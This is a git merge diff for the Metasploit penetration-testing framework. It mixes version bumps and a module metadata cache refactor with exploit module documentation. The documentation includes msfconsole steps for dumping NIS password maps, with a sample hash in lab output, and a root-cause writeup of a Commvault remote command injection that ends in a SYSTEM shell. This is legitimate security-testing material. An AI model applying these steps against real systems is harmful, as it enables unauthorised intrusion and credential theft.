Merge branch 'rapid7/master' into goliath
commit
ff9c69c7c8
|
@ -93,3 +93,7 @@ docker-compose.local*
|
|||
# Ignore python bytecode
|
||||
*.pyc
|
||||
rspec.failures
|
||||
|
||||
|
||||
#Ignore any base disk store files
|
||||
db/modules_metadata_base.pstore
|
|
@ -45,8 +45,8 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Do** write [release notes] once a pull request is landed
|
||||
* **Do** [reference associated issues] in your pull request description.
|
||||
* **Do** write [release notes] once a pull request is landed.
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
|
@ -58,8 +58,8 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software.
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
|
||||
|
||||
|
||||
|
||||
|
|
|
@ -0,0 +1,20 @@
|
|||
Active Metasploit 5 development will sometimes push aggressive changes.
|
||||
Integrations with 3rd-party tools, as well as general usage, may change quickly
|
||||
from day to day. Some of the steps for dealing with major changes will be
|
||||
documented here. We will continue to maintain the Metasploit 4.x branch until
|
||||
Metasploit 5.0 is released.
|
||||
|
||||
**2018/01/17 - [internal] module cache reworked to not store metadata in PostgreSQL**
|
||||
|
||||
Metasploit no longer stores module metadata in a PostgreSQL database, instead
|
||||
storing it in a cache file in your local ~/.msf4 config directory. This has a
|
||||
number of advantages:
|
||||
|
||||
* Fast searches whether you have the database enabled or not (no more slow search mode)
|
||||
* Faster load time for msfconsole, the cache loads more quickly
|
||||
* Private module data is not uploaded to a shared database, no collisions
|
||||
* Adding or deleting modules no longer displays file-not-found error messages on start in msfconsole
|
||||
* Reduced memory consumption
|
||||
|
||||
Code that reads directly from the Metasploit database for module data will need
|
||||
to use the new module search API.
|
12
Gemfile.lock
12
Gemfile.lock
|
@ -1,7 +1,7 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.16.32)
|
||||
metasploit-framework (5.0.0)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
|
@ -18,7 +18,7 @@ PATH
|
|||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.3.23)
|
||||
metasploit-payloads (= 1.3.25)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.3.3)
|
||||
mqtt
|
||||
|
@ -183,14 +183,14 @@ GEM
|
|||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.3.23)
|
||||
metasploit_data_models (2.0.15)
|
||||
metasploit-payloads (1.3.25)
|
||||
metasploit_data_models (2.0.16)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
pg
|
||||
pg (= 0.20.0)
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
|
@ -205,7 +205,7 @@ GEM
|
|||
nessus_rest (0.1.6)
|
||||
net-ssh (4.2.0)
|
||||
network_interface (0.0.2)
|
||||
nexpose (7.1.1)
|
||||
nexpose (7.2.0)
|
||||
nokogiri (1.8.1)
|
||||
mini_portile2 (~> 2.3.0)
|
||||
octokit (4.8.0)
|
||||
|
|
|
@ -0,0 +1,25 @@
|
|||
%clr%red .;lxO0KXXXK0Oxl:.
|
||||
,o0WMMMMMMMMMMMMMMMMMMKd,
|
||||
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
|
||||
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
|
||||
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
|
||||
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
|
||||
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
|
||||
oMMMMMMMMMMx. dMMMMMMMMMMx
|
||||
.WMMMMMMMMM: :MMMMMMMMMM,
|
||||
xMMMMMMMMMo lMMMMMMMMMO
|
||||
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
|
||||
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
|
||||
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
|
||||
xMMMMMMMMMd ,0MMMMMMMMMMK;
|
||||
.WMMMMMMMMMc 'OMMMMMM0,
|
||||
lMMMMMMMMMMk. .kMMO'
|
||||
dMMMMMMMMMMWd' ..
|
||||
cWMMMMMMMMMMMNxc'.%clr%whi ##########%clr
|
||||
%red .0MMMMMMMMMMMMMMMMWc%clr%whi #+# #+#%clr
|
||||
%red ;0MMMMMMMMMMMMMMMo.%clr%whi +:+%clr
|
||||
%red .dNMMMMMMMMMMMMo%clr +%whi#+%clr+:++#+
|
||||
%red 'oOWMMMMMMMMo%clr +:+
|
||||
%red .,cdkO0K;%clr :+: :+:
|
||||
:::::::+:
|
||||
%whiMetasploit%clr %yelUnder Construction%clr
|
Binary file not shown.
|
@ -0,0 +1,110 @@
|
|||
## Intro
|
||||
|
||||
From the `bootparamd(8)` man page:
|
||||
|
||||
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
|
||||
|
||||
The module documented within will allow a tester to disclose the NIS
|
||||
domain name from a server running `bootparamd`. After knowing the domain
|
||||
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
|
||||
dump a map from a compatible NIS server (running as `ypserv`).
|
||||
|
||||
## Setup
|
||||
|
||||
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
|
||||
If the link is down, you can find it via the Wayback Machine.
|
||||
|
||||
After that is done, install `bootparamd` however your OS provides it.
|
||||
|
||||
Make sure you add a client to the `bootparams` file, which is usually at
|
||||
`/etc/bootparams`.
|
||||
|
||||
Here is an example `bootparams` file (courtesy of
|
||||
[@bcoles](https://github.com/bcoles)):
|
||||
|
||||
```
|
||||
clientname root=nfsserver:/export/clientname/root
|
||||
```
|
||||
|
||||
You can read the `bootparams(5)` man page for more info.
|
||||
|
||||
Lastly, the client should be added to `/etc/hosts` if it isn't already
|
||||
resolvable.
|
||||
|
||||
## Options
|
||||
|
||||
**PROTOCOL**
|
||||
|
||||
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
|
||||
|
||||
**CLIENT**
|
||||
|
||||
Set this to the address of a client in the target's `bootparams` file.
|
||||
Usually this is a host within the same network range as the target.
|
||||
|
||||
**XDRTimeout**
|
||||
|
||||
Set this to the timeout in seconds for XDR decoding of the response.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf > use auxiliary/gather/nis_bootparamd_domain
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
|
||||
rhost => 192.168.33.10
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
|
||||
client => 192.168.33.10
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > run
|
||||
|
||||
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_bootparamd_domain) >
|
||||
```
|
||||
|
||||
After disclosing the domain name, you can use
|
||||
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
|
||||
server.
|
||||
|
||||
```
|
||||
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
|
||||
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
|
||||
rhost => 192.168.33.10
|
||||
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
|
||||
domain => gesellschaft
|
||||
msf auxiliary(gather/nis_ypserv_map) > run
|
||||
|
||||
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
|
||||
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
|
||||
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
|
||||
games:*:5:60:games:/usr/games:/usr/sbin/nologin
|
||||
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
|
||||
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
|
||||
sys:*:3:3:sys:/dev:/usr/sbin/nologin
|
||||
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
|
||||
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
|
||||
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
|
||||
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
|
||||
bin:*:2:2:bin:/bin:/usr/sbin/nologin
|
||||
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
|
||||
sync:*:4:65534:sync:/bin:/bin/sync
|
||||
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
|
||||
uuidd:*:108:112::/run/uuidd:/bin/false
|
||||
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
|
||||
root:*:0:0:root:/root:/bin/bash
|
||||
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
|
||||
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
|
||||
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
|
||||
messagebus:*:107:111::/var/run/dbus:/bin/false
|
||||
_apt:*:105:65534::/nonexistent:/bin/false
|
||||
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
|
||||
syslog:*:104:108::/home/syslog:/bin/false
|
||||
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
|
||||
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
|
||||
pollinate:*:111:1::/var/cache/pollinate:/bin/false
|
||||
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
|
||||
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
|
||||
lxd:*:106:65534::/var/lib/lxd/:/bin/false
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(gather/nis_ypserv_map) >
|
||||
```
|
|
@ -1,8 +1,17 @@
|
|||
## Vulnerable Application
|
||||
|
||||
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28 and v10.0.28 are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities are caused by improper bounds checking of the request path in HTTP GET requests and username value via HTTP POST requests sent to the built-in web server, respectively. This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe) and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
|
||||
[Sync Breeze Enterprise](http://www.syncbreeze.com) versions up to v9.4.28, v10.0.28, and v10.1.16
|
||||
are affected by a stack-based buffer overflow vulnerability which can be leveraged by an attacker
|
||||
to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target. The vulnerabilities
|
||||
are caused by improper bounds checking of the request path in HTTP GET requests and username value
|
||||
via HTTP POST requests sent to the built-in web server, respectively.
|
||||
|
||||
This module has been tested successfully on Windows 7 SP1. The vulnerable applications are available
|
||||
for download at [Sync Breeze Enterprise v9.4.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v9.4.28.exe)
|
||||
and [Sync Breeze Enterprise v10.0.28](http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.0.28.exe).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install a vulnerable Sync Breeze Enterprise
|
||||
2. Start `Sync Breeze Enterprise` service
|
||||
3. Start `Sync Breeze Enterprise` client application
|
||||
|
|
|
@ -1,21 +1,208 @@
|
|||
# Commvault Communications Service execCmd Vulnerability
|
||||
|
||||
## Introduction
|
||||
|
||||
Commvault is a data protection and information management software; an enterprise-level data
|
||||
platform that contains modules to back up, restore, archive, replicate, and search data.
|
||||
|
||||
According to public documentation, the data is protected by installing agent software on the
|
||||
physical or virtual hosts, which use the OS or application native APIs to protect data in a
|
||||
consistent state. Production data is processed by the agent on client computers and backed
|
||||
up through a data manager (the MediaAgent) to disk, tape, or cloud storage. All data
|
||||
management activity in the environment is tracked by a centralized server (called CommServe),
|
||||
and can be managed by administrators through a central user interface. End users can access
|
||||
protected data using web browsers or mobile devices.
|
||||
|
||||
One of the base services of Commvault is vulnerable to a remote command injection attack,
|
||||
specifically the cvd service.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Commvault v11 SP5 or prior are vulnerable to this vulnerability. The specific vulnerable
|
||||
version I tested was 11.0.80.0.
|
||||
|
||||
This module exploits a remote command injection vulnerability in the Commvault Communications service (cvd.exe). Exploitation of this vulnerability can allow for remote command execution as SYSTEM.
|
||||
The version of the vulnerable DLL is:
|
||||
|
||||
```
|
||||
Image path: C:\Program Files\Commvault\ContentStore\Base\CVDataPipe.dll
|
||||
Image name: CVDataPipe.dll
|
||||
Timestamp: Wed Dec 21 11:59:21 2016 (585AC2F9)
|
||||
CheckSum: 002ED404
|
||||
ImageSize: 002F0000
|
||||
File version: 11.80.50.60437
|
||||
Product version: 11.0.0.0
|
||||
File flags: 1 (Mask 3F) Debug
|
||||
File OS: 40004 NT Win32
|
||||
File type: 1.0 App
|
||||
File date: 00000000.00000000
|
||||
Translations: 0409.04b0
|
||||
CompanyName: Commvault
|
||||
ProductName: Commvault
|
||||
InternalName: CVDataPipe
|
||||
OriginalFilename: CVDataPipe.dll
|
||||
ProductVersion: 11.0.0.0
|
||||
FileVersion: 11.80.50.60437
|
||||
PrivateBuild:
|
||||
SpecialBuild:
|
||||
FileDescription:
|
||||
LegalCopyright: Copyright (c) 2000-2016
|
||||
LegalTrademarks:
|
||||
Comments:
|
||||
```
|
||||
|
||||
## Root Cause Analysis
|
||||
|
||||
Usually, there are two ways to execute a command in a C/C++ application, one of them is ```WinExec()```,
|
||||
and the other one is ```CreateProcess()```:
|
||||
|
||||
```
|
||||
BOOL WINAPI CreateProcess(
|
||||
_In_opt_ LPCTSTR lpApplicationName,
|
||||
_Inout_opt_ LPTSTR lpCommandLine,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes,
|
||||
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
|
||||
_In_ BOOL bInheritHandles,
|
||||
_In_ DWORD dwCreationFlags,
|
||||
_In_opt_ LPVOID lpEnvironment,
|
||||
_In_opt_ LPCTSTR lpCurrentDirectory,
|
||||
_In_ LPSTARTUPINFO lpStartupInfo,
|
||||
_Out_ LPPROCESS_INFORMATION lpProcessInformation
|
||||
);
|
||||
|
||||
```
|
||||
|
||||
Since ```CreateProcess()``` is meant to replace ```WinExec()``` according to Microsoft, we can create a
|
||||
breakpoint there first in our debugger (WinDBG), and we hit it:
|
||||
|
||||
```
|
||||
0:044> g
|
||||
Breakpoint 3 hit
|
||||
kernel32!CreateProcessA:
|
||||
00000000`76fe8730 4c8bdc mov r11,rsp
|
||||
```
|
||||
|
||||
Looking at the callstack of this ```kernel32!CreateProcessA```, we already have a pretty good idea
|
||||
locating the vulnerability:
|
||||
|
||||
```
|
||||
0:044> k
|
||||
Child-SP RetAddr Call Site
|
||||
00000000`11a36b78 000007fe`f378a40f kernel32!CreateProcessA
|
||||
00000000`11a36b80 000007fe`f377714e CVDataPipe!execCmd+0x7af
|
||||
00000000`11a3f340 000007fe`f3777a69 CVDataPipe!CVDMessageHandler+0x78e
|
||||
00000000`11a3fbd0 000007fe`f9cdc58d CVDataPipe!CVDMessageHandler+0x10a9
|
||||
00000000`11a3fd40 000007fe`f9cdc1b1 CvBasicLib!CvThreadPool::th_defaultWorkerObj+0x3cd
|
||||
00000000`11a3fe40 000007fe`f9cd2073 CvBasicLib!CvThreadPool::th_defaultWorker+0x51
|
||||
00000000`11a3fe90 000007fe`f9a84f7f CvBasicLib!CvThread::~CvThread+0x63
|
||||
00000000`11a3fee0 000007fe`f9a85126 MSVCR120!_callthreadstartex+0x17 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 376]
|
||||
00000000`11a3ff10 00000000`76f6f56d MSVCR120!_threadstartex+0x102 [f:\dd\vctools\crt\crtw32\startup\threadex.c @ 354]
|
||||
00000000`11a3ff40 00000000`770a3281 kernel32!BaseThreadInitThunk+0xd
|
||||
00000000`11a3ff70 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
|
||||
```
|
||||
|
||||
There are two things that are interesting. One of them is ```CVDataPipe!CVDMessageHandler```, and the
|
||||
other one is ```CVDataPipe!execCmd```.
|
||||
|
||||
```CVDataPipe!CVDMessageHandler``` is basically a function that handles our packet's message type.
|
||||
The Metasploit exploit specifically sends a code of ```9h```, which is the message type for ```execCmd```:
|
||||
|
||||
```
|
||||
.text:0000000180147103 loc_180147103: ; CODE XREF: CVDMessageHandler(int,selectStruct_t *,CQiSocket,void *):loc_180146D78j
|
||||
.text:0000000180147103 lea rax, [rsp+888h+var_220] ; jumptable 0000000180146D78 case 9
|
||||
.text:000000018014710B mov [rsp+888h+var_600], rax
|
||||
.text:0000000180147113 mov rdx, [rsp+888h+sock]
|
||||
.text:000000018014711B mov rcx, [rsp+888h+var_600]
|
||||
.text:0000000180147123 call cs:??0CQiSocket@@QEAA@AEBV0@@Z ; CQiSocket::CQiSocket(CQiSocket const &)
|
||||
.text:0000000180147129 mov [rsp+888h+var_5F0], rax
|
||||
.text:0000000180147131 mov r8, [rsp+888h+arg_18]
|
||||
.text:0000000180147139 mov rdx, [rsp+888h+var_5F0]
|
||||
.text:0000000180147141 mov rcx, [rsp+888h+structSelect]
|
||||
.text:0000000180147149 call ?execCmd@@YAXPEAUselectStruct_t@@VCQiSocket@@PEAX@Z ; execCmd(selectStruct_t *,CQiSocket,void *)
|
||||
```
|
||||
|
||||
If we take a closer look at the ```execCmd``` function, we can tell the purpose of it is for processes such as:
|
||||
|
||||
* ifind (For restoring purposes)
|
||||
* BackupShadow.exe (For archiving)
|
||||
* Pub (Map file)
|
||||
* createIndex (A Commvault process for building index)
|
||||
|
||||
|
||||
Additional information can be found [here](https://www.securifera.com/advisories/sec-2017-0001/)
|
||||
```
|
||||
.text:0000000180159F1B loc_180159F1B: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+261j
|
||||
.text:0000000180159F1B ; DATA XREF: .rdata:0000000180286258o
|
||||
.text:0000000180159F1B lea rdx, aIfind ; "ifind"
|
||||
.text:0000000180159F22 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F2A call cs:strstr
|
||||
.text:0000000180159F30 test rax, rax
|
||||
.text:0000000180159F33 jnz short loc_180159F6D
|
||||
.text:0000000180159F35 lea rdx, aBackupshadow_e ; "BackupShadow.exe"
|
||||
.text:0000000180159F3C lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F44 call cs:strstr
|
||||
.text:0000000180159F4A test rax, rax
|
||||
.text:0000000180159F4D jnz short loc_180159F6D
|
||||
.text:0000000180159F4F lea rdx, aPub ; "Pub"
|
||||
.text:0000000180159F56 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:0000000180159F5E call cs:strstr
|
||||
...
|
||||
.text:000000018015A0BA loc_18015A0BA: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+307j
|
||||
.text:000000018015A0BA lea rdx, aCreateindex ; "createIndex"
|
||||
.text:000000018015A0C1 lea rcx, [rsp+87B8h+ApplicationName] ; Str
|
||||
.text:000000018015A0C9 call cs:strstr
|
||||
.text:000000018015A0CF test rax, rax
|
||||
.text:000000018015A0D2 jz loc_18015A220
|
||||
```
|
||||
|
||||
However, if you don't call one of these processes, the ```execCmd``` will assume you want to run your
|
||||
custom process, and pass it to ```CreateProcess``` anyway:
|
||||
|
||||
```
|
||||
.text:000000018015A361 loc_18015A361: ; CODE XREF: execCmd(selectStruct_t *,CQiSocket,void *)+675j
|
||||
.text:000000018015A361 call cs:GetEnvironmentStrings
|
||||
.text:000000018015A367 mov [rsp+87B8h+var_86A8], rax
|
||||
.text:000000018015A36F lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A377 mov rdi, rax
|
||||
.text:000000018015A37A xor eax, eax
|
||||
.text:000000018015A37C mov ecx, 68h
|
||||
.text:000000018015A381 rep stosb
|
||||
.text:000000018015A383 mov [rsp+87B8h+StartupInfo.cb], 68h
|
||||
.text:000000018015A38E lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A396 mov rdi, rax
|
||||
.text:000000018015A399 xor eax, eax
|
||||
.text:000000018015A39B mov ecx, 18h
|
||||
.text:000000018015A3A0 rep stosb
|
||||
.text:000000018015A3A2 mov [rsp+87B8h+StartupInfo.dwFlags], 1
|
||||
.text:000000018015A3AD xor eax, eax
|
||||
.text:000000018015A3AF mov [rsp+87B8h+StartupInfo.wShowWindow], ax
|
||||
.text:000000018015A3B7 lea rax, [rsp+87B8h+ProcessInformation]
|
||||
.text:000000018015A3BF mov [rsp+87B8h+lpProcessInformation], rax ; lpProcessInformation
|
||||
.text:000000018015A3C4 lea rax, [rsp+87B8h+StartupInfo]
|
||||
.text:000000018015A3CC mov [rsp+87B8h+lpStartupInfo], rax ; lpStartupInfo
|
||||
.text:000000018015A3D1 mov [rsp+87B8h+lpCurrentDirectory], 0 ; lpCurrentDirectory
|
||||
.text:000000018015A3DA mov [rsp+87B8h+lpEnvironment], 0 ; lpEnvironment
|
||||
.text:000000018015A3E3 mov [rsp+87B8h+dwCreationFlags], 10h ; dwCreationFlags
|
||||
.text:000000018015A3EB mov [rsp+87B8h+bInheritHandles], 0 ; bInheritHandles
|
||||
.text:000000018015A3F3 xor r9d, r9d ; lpThreadAttributes
|
||||
.text:000000018015A3F6 xor r8d, r8d ; lpProcessAttributes
|
||||
.text:000000018015A3F9 lea rdx, [rsp+87B8h+CommandLine] ; lpCommandLine
|
||||
.text:000000018015A401 lea rcx, [rsp+87B8h+ApplicationName] ; lpApplicationName
|
||||
.text:000000018015A409 call cs:CreateProcessA
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
It is unclear whether allowing an arbitrary custom process is intentional or not, it is unsafe
|
||||
anyway considering the cvd process binds to 0.0.0.0, so anybody can gain access to it under the
|
||||
context of SYSTEM.
|
||||
|
||||
## Using the Metasploit Module
|
||||
|
||||
1. Start msfconsole
|
||||
|
||||
2. `use exploit/windows/misc/commvault_cmd_exec`
|
||||
|
||||
3. `set RHOST [ip]`
|
||||
|
||||
4. `exploit`
|
||||
|
||||
5. shellz :)
|
||||
|
||||
|
||||
## References
|
||||
|
||||
* https://en.wikipedia.org/wiki/Commvault
|
||||
* https://www.securifera.com/advisories/sec-2017-0001/
|
|
@ -1,7 +1,7 @@
|
|||
ms08_067_netapi is one of the most popular remote exploits against Microsoft Windows. It is
|
||||
considered a reliable exploit, and allows you to gain access as SYSTEM - the highest Windows
|
||||
privilege. In modern day penetration test, this exploit would most likely be used in an internal
|
||||
environment, and not so much from external due to the likelihood of a firewall.
|
||||
considered a reliable exploit and allows you to gain access as SYSTEM - the highest Windows
|
||||
privilege. In modern day penetration tests, this exploit would most likely be used in an internal
|
||||
environment and not so much from external due to the likelihood of a firewall.
|
||||
|
||||
The check command of ms08_067_netapi is also highly accurate, because it is actually testing the
|
||||
vulnerable code path, not just passively.
|
||||
|
@ -15,7 +15,7 @@ This exploit works against a vulnerable SMB service from one of these Windows sy
|
|||
* Windows XP
|
||||
* Windows 2003
|
||||
|
||||
To reliability determine whether the machine is vulnerable, you will have to either examine
|
||||
To reliably determine whether the machine is vulnerable, you will have to either examine
|
||||
the system's patch level, or use a vulnerability check.
|
||||
|
||||
## Verification Steps
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
ms17_010_eternalblue is a remote exploit against Microsoft Windows, originally written by the
|
||||
Equation Group (NSA) and leaked by Shadow Brokers (an unknown hacking entity). It is
|
||||
considered a reliable exploit, and allows you to gain access not only as SYSTEM - the highest Windows
|
||||
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration test,
|
||||
considered a reliable exploit and allows you to gain access not only as SYSTEM - the highest Windows
|
||||
user mode privilege, but also full control of the kernel in ring 0. In modern day penetration tests,
|
||||
this exploit can be found in internal and external environments.
|
||||
|
||||
As far as remote kernel exploits go, this one is highly reliable and safe to use.
|
||||
|
|
|
@ -22,6 +22,7 @@ module Metasploit::Framework::Spec::Constants
|
|||
Error
|
||||
External
|
||||
Loader
|
||||
Metadata
|
||||
MetasploitClassCompatibilityError
|
||||
Namespace
|
||||
VersionCompatibilityError
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "4.16.32"
|
||||
VERSION = "5.0.0"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -33,20 +33,24 @@ class Config < Hash
|
|||
return val
|
||||
end
|
||||
|
||||
# XXX Update this when there is a need to break compatibility
|
||||
config_dir_major = 4
|
||||
config_dir = ".msf#{config_dir_major}"
|
||||
|
||||
# Windows-specific environment variables
|
||||
['HOME', 'LOCALAPPDATA', 'APPDATA', 'USERPROFILE'].each do |dir|
|
||||
val = Rex::Compat.getenv(dir)
|
||||
if (val and File.directory?(val))
|
||||
return File.join(val, ".msf#{Metasploit::Framework::Version::MAJOR}")
|
||||
return File.join(val, config_dir)
|
||||
end
|
||||
end
|
||||
|
||||
begin
|
||||
# First we try $HOME/.msfx
|
||||
File.expand_path("~#{FileSep}.msf#{Metasploit::Framework::Version::MAJOR}")
|
||||
File.expand_path("~#{FileSep}#{config_dir}")
|
||||
rescue ::ArgumentError
|
||||
# Give up and install root + ".msfx"
|
||||
InstallRoot + ".msf#{Metasploit::Framework::Version::MAJOR}"
|
||||
InstallRoot + config_dir
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -233,24 +233,8 @@ class Framework
|
|||
}
|
||||
end
|
||||
|
||||
# TODO: Anything still using this should be ported to use metadata::cache search
|
||||
def search(match, logger: nil)
|
||||
# Check if the database is usable
|
||||
use_db = true
|
||||
if self.db and self.db.is_local?
|
||||
if !(self.db.migrated && self.db.modules_cached)
|
||||
logger.print_warning("Module database cache not built yet, using slow search") if logger
|
||||
use_db = false
|
||||
end
|
||||
else
|
||||
logger.print_warning("Database not connected, using slow search") if logger
|
||||
use_db = false
|
||||
end
|
||||
|
||||
# Used the database for search
|
||||
if use_db
|
||||
return self.db.search_modules(match)
|
||||
end
|
||||
|
||||
# Do an in-place search
|
||||
matches = []
|
||||
[ self.exploits, self.auxiliary, self.post, self.payloads, self.nops, self.encoders ].each do |mset|
|
||||
|
|
|
@ -21,7 +21,7 @@ module Msf::Module::FullName
|
|||
#
|
||||
|
||||
def fullname
|
||||
type + '/' + refname
|
||||
"#{type}/#{refname}"
|
||||
end
|
||||
|
||||
def promptname
|
||||
|
|
|
@ -3,6 +3,7 @@
|
|||
# Gems
|
||||
#
|
||||
require 'active_support/concern'
|
||||
require 'msf/core/modules/metadata/cache'
|
||||
|
||||
# Concerns the module cache maintained by the {Msf::ModuleManager}.
|
||||
module Msf::ModuleManager::Cache
|
||||
|
@ -98,7 +99,7 @@ module Msf::ModuleManager::Cache
|
|||
end
|
||||
|
||||
# @overload refresh_cache_from_module_files
|
||||
# Rebuilds database and in-memory cache for all modules.
|
||||
# Rebuilds module metadata store and in-memory cache for all modules.
|
||||
#
|
||||
# @return [void]
|
||||
# @overload refresh_cache_from_module_files(module_class_or_instance)
|
||||
|
@ -107,14 +108,21 @@ module Msf::ModuleManager::Cache
|
|||
# @param (see Msf::DBManager#update_module_details)
|
||||
# @return [void]
|
||||
def refresh_cache_from_module_files(module_class_or_instance = nil)
|
||||
if framework_migrated?
|
||||
if module_class_or_instance
|
||||
framework.db.update_module_details(module_class_or_instance)
|
||||
else
|
||||
framework.db.update_all_module_details
|
||||
end
|
||||
refresh_cache_from_database(self.module_paths)
|
||||
if module_class_or_instance
|
||||
Msf::Modules::Metadata::Cache.instance.refresh_metadata_instance(module_class_or_instance)
|
||||
else
|
||||
module_sets =
|
||||
[
|
||||
['exploit', @framework.exploits],
|
||||
['auxiliary', @framework.auxiliary],
|
||||
['post', @framework.post],
|
||||
['payload', @framework.payloads],
|
||||
['encoder', @framework.encoders],
|
||||
['nop', @framework.nops]
|
||||
]
|
||||
Msf::Modules::Metadata::Cache.instance.refresh_metadata(module_sets)
|
||||
end
|
||||
